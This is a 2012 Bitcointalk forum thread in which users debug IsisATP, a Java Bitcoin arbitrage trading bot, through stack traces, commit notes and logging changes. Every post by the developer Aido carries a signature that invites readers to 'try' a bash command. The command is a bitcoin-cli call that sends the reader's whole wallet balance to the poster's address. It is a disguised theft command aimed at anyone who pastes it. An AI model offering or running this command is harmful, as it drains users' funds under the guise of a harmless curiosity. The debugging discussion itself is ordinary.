Raoul Duke
aka psy
Legendary
Offline
Activity: 1358
Merit: 1002
|
|
November 09, 2012, 03:32:50 PM |
|
I'm getting a lot of these INFO: Attempting to sell 0.136541308148148140568582942222519704955630004405975341796875 of 0.92165383 BTC available Nov 09, 2012 3:30:08 PM org.open.payment.alliance.isis.atp.TradingAgent marketOrder INFO: Market Order return value: f432d137-feda-4bc0-8c6e-721e8ff3dcf9 Nov 09, 2012 3:30:08 PM org.open.payment.alliance.isis.atp.TradingAgent marketOrder SEVERE: Failed to sell 0.136541308148148140568582942222519704955630004405975341796875 at current market price. Please investigate
The thing is, it did sell that value. I suspect it's only trading one way. As it doesn't recognize the sale happened it never executes the other side of the trade, thus, there s no arbitrage profit.
|
|
|
|
Aido
Sr. Member
Offline
Activity: 248
Merit: 252
1. Collect underpants 2. ? 3. Profit
|
|
November 09, 2012, 04:37:42 PM Last edit: November 10, 2012, 01:52:31 AM by Aido |
|
Very strange. The logic used in the trading agent is to first attempt a sell order. If the return value is null the sell order failed so no need to attempt the buy side of the arbitrage. But, I can clearly see from the output that the return value is not null so the sell order was successful. Yet, the trading agent thought it was not successful so did not attempt the buy order. I will investigate this shortly when I have time. UPDATE:OK, I found it. In TradingAgent.java: if(marketOrderReturnValue != null){ success = false; } != should be ==. I will investigate update this shortly when I have time. For the time being please disable arbitrage by using the --use-arbitrage=false switch. Ah, an actual use for this new feature. Normal non-arbitrage trades will still be executed even though the log will tell you different. This may also mess up the P/L calculations a bit until I fix it.
|
Interesting Bash command line, try it : bitcoin-cli sendtoaddress 1Aidan4r4rqoCBprfp2dVZeYosZ5ryVqH6 `bitcoin-cli getbalance`
|
|
|
Aido
Sr. Member
Offline
Activity: 248
Merit: 252
1. Collect underpants 2. ? 3. Profit
|
|
November 10, 2012, 03:54:47 AM |
|
A few more commits, please test: commit 1b3477509ea5aa8365a0f90d2dba649b82ab1f4a
Deprecating --debug-live in favour of --simulation-modeI think --simulation-mode is more descriptive and intuitive than --debug-live. For now --debug-live=true is same as --simulation-mode=false and vice versa, but eventually debug-live will be removed. commit 27717c11e3a51f38fcac070bc9223f9306b58232
Fixed false positives on failed market order test in trading agentThis hopefully fixes this issue: INFO: Attempting to sell 0.136541308148148140568582942222519704955630004405975341796875 of 0.92165383 BTC available Nov 09, 2012 3:30:08 PM org.open.payment.alliance.isis.atp.TradingAgent marketOrder INFO: Market Order return value: f432d137-feda-4bc0-8c6e-721e8ff3dcf9 Nov 09, 2012 3:30:08 PM org.open.payment.alliance.isis.atp.TradingAgent marketOrder SEVERE: Failed to sell 0.136541308148148140568582942222519704955630004405975341796875 at current market price. Please investigate
commit 62f40b79892f52ef349af47c1c31430413d5d7d6
Bound slf4j to the logback logging framework and tidied up log messages.The logback framework is extremely flexible and opens up the possibility to easily add log file rotation, remote logging, e-mail of logs etc. by simple editing the logback.xml file.
|
Interesting Bash command line, try it : bitcoin-cli sendtoaddress 1Aidan4r4rqoCBprfp2dVZeYosZ5ryVqH6 `bitcoin-cli getbalance`
|
|
|
Aido
Sr. Member
Offline
Activity: 248
Merit: 252
1. Collect underpants 2. ? 3. Profit
|
|
November 10, 2012, 03:45:02 PM |
|
A few more commits:
commit 734f36f7324faebf2bd1e7950bf5a256fb83a802
Changed logback config to log brief messages to screen and verbose messages to a rolling log file
Log messages sent to screen are now more brief so most stay on single line. More detailed messages are sent to the aido.log log file. This file rolls over when it reaches 32MB and keeps a history of eight gzipped log files.
commit 2a1431b9716aee722baeab7e1a8ba9e84908593a
Fixed NullPointerException in Trading Agent
Self explanatory.
commit f51f5223fbcc65dca6ebd70a29b86fb060132f58
Changed trading agent to use BigMoney for currency amounts instead of BigDecimal
Ditto!
|
Interesting Bash command line, try it : bitcoin-cli sendtoaddress 1Aidan4r4rqoCBprfp2dVZeYosZ5ryVqH6 `bitcoin-cli getbalance`
|
|
|
Raoul Duke
aka psy
Legendary
Offline
Activity: 1358
Merit: 1002
|
|
November 10, 2012, 05:34:41 PM |
|
Can we disable the trend engine and leave only the arbitrage one working? Or passing it --simulation-mode=true will put the arbitrage engine also in simulation mode?
|
|
|
|
Raoul Duke
aka psy
Legendary
Offline
Activity: 1358
Merit: 1002
|
|
November 10, 2012, 05:52:16 PM |
|
I've been getting this: Isis started successfully. Exception in thread "Thread-19" java.util.ConcurrentModificationException at java.util.HashMap$HashIterator.nextEntry(HashMap.java:894) at java.util.HashMap$KeyIterator.next(HashMap.java:928) at org.open.payment.alliance.isis.atp.ArbitrageEngine.getHighestBid(ArbitrageEngine.java:174) at org.open.payment.alliance.isis.atp.ArbitrageEngine.run(ArbitrageEngine.java:50) at java.lang.Thread.run(Thread.java:722)
and 2012-11-10 17:50:38,043 : Weight is 0.14666666666666667 Exception in thread "Thread-49" java.lang.NullPointerException at org.open.payment.alliance.isis.atp.TradingAgent.evalBid(TradingAgent.java:227) at org.open.payment.alliance.isis.atp.TradingAgent.run(TradingAgent.java:115) at java.lang.Thread.run(Thread.java:722)
2012-11-10 17:49:36,990 : Weight is 0.14473684210526316 Exception in thread "Thread-44" java.lang.NullPointerException at org.open.payment.alliance.isis.atp.TradingAgent.evalBid(TradingAgent.java:227) at org.open.payment.alliance.isis.atp.TradingAgent.run(TradingAgent.java:115) at java.lang.Thread.run(Thread.java:722)
I think these 2 last ones happen when it's supposed to trade. And I also get the following 2012-11-10 17:53:45,695 : Arbitrage Engine has detected an after fee profit opportunity of 56,48830811% on currency pair CAD/GBP 2012-11-10 17:53:45,695 : ***Conversion Factors*** 2012-11-10 17:53:45,696 : Highest Bid: (GBP, 1.5729537882080256) 2012-11-10 17:53:45,696 : Lowest Ask: (CAD, 0.997070707070707) 2012-11-10 17:53:46,413 : Market Buy Order return value: null 2012-11-10 17:53:46,414 : Buy failed. Arbitrage could not trade CAD 10.66823 with GBP 0.00000000
Any idea why the trade fails? Because I have balance on CAD, GBP and BTC.
|
|
|
|
daybyter
Legendary
Offline
Activity: 965
Merit: 1000
|
|
November 10, 2012, 05:57:58 PM |
|
I had similar bugs in my code, so maybe I can help a bit...
You get the first error, when you create an iterator, then iterate over a list (or hash map in your case) and then modify the list, while you loop over it.
Potential solution is too avoid an iterator and just check for the end of the list after each loop iteration.
|
|
|
|
scrybe
|
|
November 10, 2012, 06:05:38 PM |
|
Can we disable the trend engine and leave only the arbitrage one working? Or passing it --simulation-mode=true will put the arbitrage engine also in simulation mode?
Recommendation/request: Instead of having parameters that are set at command line for the trading, arbitrage, and simulation settings, could we handle them in the registry so we only have 1 place to manage settings? It might also be nice to be able to turn different modes on/off during a longer run by updating the registry without relaunching the program. Thoughts?
|
"...as simple as possible, but no simpler" -AE BTC/TRC/FRC: 1ScrybeSNcjqgpPeYNgvdxANArqoC6i5u Ripple:rf9gutfmGB8CH39W2PCeRbLWMKRauYyVfx LTC:LadmiD6tXq7gFZvMibhFUZegUHKXgbu1Gb
|
|
|
Aido
Sr. Member
Offline
Activity: 248
Merit: 252
1. Collect underpants 2. ? 3. Profit
|
|
November 10, 2012, 06:31:17 PM Last edit: November 11, 2012, 01:28:14 PM by Aido |
|
The NullPointerException problem was introduced when I changed the trading agent to use BigMoney instead of BigDecimal for currency amounts. I am currently debugging it and hope to have a fix soon. I've added some debug messages and it seems that some values are null because the trading agent isn't parsing the config file values into BigMoney correctly. daybyter is correct about the ConcurrentModificationException problem and it's also on my todo list. This isn't as frequent as the NullPointerException which is stopping trades. The past few commits have introduced a bump in the road but I'll get over it with the next commit. I think I may have been introducing too many changes lately without testing them as thoroughly as I should have. Can we disable the trend engine and leave only the arbitrage one working? Or passing it --simulation-mode=true will put the arbitrage engine also in simulation mode?
--simulation-mode and --debug-live don's affect arbitration trades. In fact, if the arbitration engine decides to perform an arbitration trade it temporarily disables the other trades. I have been thinking about sorting out these switches but for now the way you suggest should work. Instead of having parameters that are set at command line for the trading, arbitrage, and simulation settings, could we handle them in the registry so we only have 1 place to manage settings? It might also be nice to be able to turn different modes on/off during a longer run by updating the registry without relaunching the program. I don't think my Linux machine has a registry . At the moment it's convenient for me to have the switches on the command line while I test them. But I may reconsider in the future when I tidy up how they work. Also, if not supplied in command line, both --simulation-mode and --use-arbitration default to true.
|
Interesting Bash command line, try it : bitcoin-cli sendtoaddress 1Aidan4r4rqoCBprfp2dVZeYosZ5ryVqH6 `bitcoin-cli getbalance`
|
|
|
Raoul Duke
aka psy
Legendary
Offline
Activity: 1358
Merit: 1002
|
|
November 10, 2012, 06:41:30 PM |
|
Your machine doesn't have a registry but it does have ~/.java/.userPrefs/org/open/payment/alliance/isis/atp/prefs.xml
|
|
|
|
scrybe
|
|
November 11, 2012, 09:53:14 AM |
|
Your machine doesn't have a registry but it does have ~/.java/.userPrefs/org/open/payment/alliance/isis/atp/prefs.xml Hey, that looks suspiciously like the key in the registry... [HKEY_CURRENT_USER\Software\JavaSoft\Prefs\org\open\payment\alliance\isis\atp] Thanks, I didn't know how that translated.
|
"...as simple as possible, but no simpler" -AE BTC/TRC/FRC: 1ScrybeSNcjqgpPeYNgvdxANArqoC6i5u Ripple:rf9gutfmGB8CH39W2PCeRbLWMKRauYyVfx LTC:LadmiD6tXq7gFZvMibhFUZegUHKXgbu1Gb
|
|
|
Aido
Sr. Member
Offline
Activity: 248
Merit: 252
1. Collect underpants 2. ? 3. Profit
|
|
November 12, 2012, 01:22:36 AM Last edit: November 12, 2012, 01:43:56 AM by Aido |
|
A few more commits to play with and test ( https://github.com/aido/IsisATP/commits/master): commit 81057758348b0f35c8c1803086c13aec676c1b04
Tweak highFactor and lowFactor values in arbitrage engine
commit 6e95342753e71029215d773ab42c9f5a40232456
Moved build_IsisATP.sh to make.sh and updated
commit 42018488c33d7c00ca6c5e3f6755b2fc8e2e4b99
Attempted fix for ConcurrentModificationException error in arbitrage engine
commit bc90d5cf77d884aee452a3e85f6834145048eec3
Fixed BigDecimal.ONE.divide problem in arbitrage engine which was stopping market orders
commit d2474d5d8dbd1be153aa8acf74517d3b543991cc
Fixed BigMoney parsing in trading agent which was causing NullPointerExceptionI think I fixed the ConcurrentModificationException error. It will need more testing to confirm. I left the latest commit run for a few hours and didn't receive any errors. Please test and report back if it re-occurs. I have now hopefully ironed out most of the bugs introduced with the previous bunch of commits.
|
Interesting Bash command line, try it : bitcoin-cli sendtoaddress 1Aidan4r4rqoCBprfp2dVZeYosZ5ryVqH6 `bitcoin-cli getbalance`
|
|
|
Aido
Sr. Member
Offline
Activity: 248
Merit: 252
1. Collect underpants 2. ? 3. Profit
|
|
November 12, 2012, 12:38:33 PM |
|
I see the following rare exception occur in the ticker manager: Exception in thread "Thread-8" java.lang.ArrayIndexOutOfBoundsException: -1 at java.util.ArrayList.elementData(ArrayList.java:371) at java.util.ArrayList.get(ArrayList.java:384) at org.open.payment.alliance.isis.atp.TickerManager.getLastTick(TickerManager.java:160) at org.open.payment.alliance.isis.atp.AccountManager.getLastTick(AccountManager.java:155) at org.open.payment.alliance.isis.atp.ArbitrageEngine.executeTrade(ArbitrageEngine.java:135) at org.open.payment.alliance.isis.atp.ArbitrageEngine.run(ArbitrageEngine.java:86) at java.lang.Thread.run(Thread.java:722) The problematic code is as follows: ATPTicker tick; synchronized(tickerCache) { tick = tickerCache.get(tickerCache.size()-1); } I don't understand why it is throwing an ArrayIndexOutOfBoundsException when the code checks the size of the array with tickerCache.size()-1any ideas?
|
Interesting Bash command line, try it : bitcoin-cli sendtoaddress 1Aidan4r4rqoCBprfp2dVZeYosZ5ryVqH6 `bitcoin-cli getbalance`
|
|
|
daybyter
Legendary
Offline
Activity: 965
Merit: 1000
|
|
November 12, 2012, 12:48:55 PM Last edit: November 12, 2012, 01:31:37 PM by daybyter |
|
Well, your exception already tells you the problem...your index is -1 , so the size() seems to be 0. The array is empty...
btw: this thread gave me the great idea to use a special class for amounts and prices. Thank you!
|
|
|
|
Aido
Sr. Member
Offline
Activity: 248
Merit: 252
1. Collect underpants 2. ? 3. Profit
|
|
November 12, 2012, 01:29:56 PM Last edit: November 12, 2012, 02:01:35 PM by Aido |
|
Well, your exception already tells you the problem...your index is -1 , so the size() seems to be 0. The array is empty...
Nice one! thanks daybyter. btw: this thread gave me the great idea to use a special class for amounts and prices. Thank you!
Care to share?
|
Interesting Bash command line, try it : bitcoin-cli sendtoaddress 1Aidan4r4rqoCBprfp2dVZeYosZ5ryVqH6 `bitcoin-cli getbalance`
|
|
|
Aido
Sr. Member
Offline
Activity: 248
Merit: 252
1. Collect underpants 2. ? 3. Profit
|
|
November 13, 2012, 01:47:56 AM |
|
A couple more commits: commit 6d95bf71f75a7fb251102fd2083804d397bab4ee
Improved exception handling for disconnection from exchangeWhen a com.xeiam.xchange.HttpException is thrown we now create a test socket to the exchange. If this test socket fails to connect we wait one minute before trying again. At the moment the test socket is as follows: testSock = new Socket("www.mtgox.com",80);mtgox.com port 80 is hardcoded. I couldn't figure out how to dynamically get the host and port from ExchangeSpecification. Any suggestions on how to do this? commit 46ea53d031019356d0815069d82a533d22fc7463
Fix for ArrayIndexOutOfBoundsException in getLastTick method of Ticker ManagerThis fix is a bit of a hack. I'm sure it will result if some NullPointerException's further down the line. Also, when testing it may be a good idea to redirect STDERR to a file so error messages can be analysed later: java -jar aido.jar --simulation-mode=false 2>> aido.errorI think this thread may have gone off topic a bit and become more of a crash course in java. Apologies.
|
Interesting Bash command line, try it : bitcoin-cli sendtoaddress 1Aidan4r4rqoCBprfp2dVZeYosZ5ryVqH6 `bitcoin-cli getbalance`
|
|
|
daybyter
Legendary
Offline
Activity: 965
Merit: 1000
|
|
November 13, 2012, 10:04:44 AM |
|
I use log4j in my app. It should fill your requirements.
|
|
|
|
scrybe
|
|
November 13, 2012, 06:01:59 PM |
|
good grief, how much precision do we need? Nov 13, 2012 11:58:46 AM org.open.payment.alliance.isis.atp.TradingAgent evalAsk INFO: 0.0000009982608695652174034262937851735841832123696804046630859375 was less than the configured limit of 0.01 There just isn't enough momentum to trade at this time.
|
"...as simple as possible, but no simpler" -AE BTC/TRC/FRC: 1ScrybeSNcjqgpPeYNgvdxANArqoC6i5u Ripple:rf9gutfmGB8CH39W2PCeRbLWMKRauYyVfx LTC:LadmiD6tXq7gFZvMibhFUZegUHKXgbu1Gb
|
|
|
daybyter
Legendary
Offline
Activity: 965
Merit: 1000
|
|
November 13, 2012, 06:55:33 PM |
|
That's good and necessary.... I use factor 100000000 for the price and the amount. However, if you start calculating with those amount and do (amount * price) / 100000000 you have a problem with longs. I use an ugly hack and cast temporarily to double, but I guess I'll use some BigDecimal-like format in the future. Just a lot of places, where I have to modify my code...
|
|
|
|
Aido
Sr. Member
Offline
Activity: 248
Merit: 252
1. Collect underpants 2. ? 3. Profit
|
|
November 14, 2012, 12:58:01 AM Last edit: November 14, 2012, 01:28:41 AM by Aido |
|
New commit on github: commit 790351ae9d849c9fee4f11dff25d602efbade343
A possibly better fix for ArrayIndexOutOfBoundsException in getLastTick method of TickerManager that will not cause NullPointerException's later in code.A few other cosmetic changes in there also. Linux/UNIX/Mac OS users now get fancy coloured log output, INFO, WARN and ERROR etc. Windows users........sigh! good grief, how much precision do we need? The latest version keeps the precison in calculations but no longer prints out the unnecessarily long string of digits to the log, rounding output to eight decimal places instead. I use log4j in my app. It should fill your requirements. I changed IsisATP to use logback ( http://logback.qos.ch/). According to the logback website: Logback is intended as a successor to the popular log4j project, picking up where log4j leaves off. XChange also uses logback so the class files were already included in the original IsisATP jar file. I'm impressed by the power of logback. If a user doesn't like the format or how IsisATP logs its output they can use their own logback config file to decide how and where log output is presented. Want your logs mailed to you? Easy....just add an e-mail appender to your logback config. And, all without changing a single line of code. Some of the calculations used in the arbitrage engine need to be looked at. For example, I just don't believe the following output: Arbitrage Engine has detected an after fee profit opportunity of 58.43022025% on currency pair USD/GBPAnyone care to try and get their head around the calculations and advise?
|
Interesting Bash command line, try it : bitcoin-cli sendtoaddress 1Aidan4r4rqoCBprfp2dVZeYosZ5ryVqH6 `bitcoin-cli getbalance`
|
|
|
|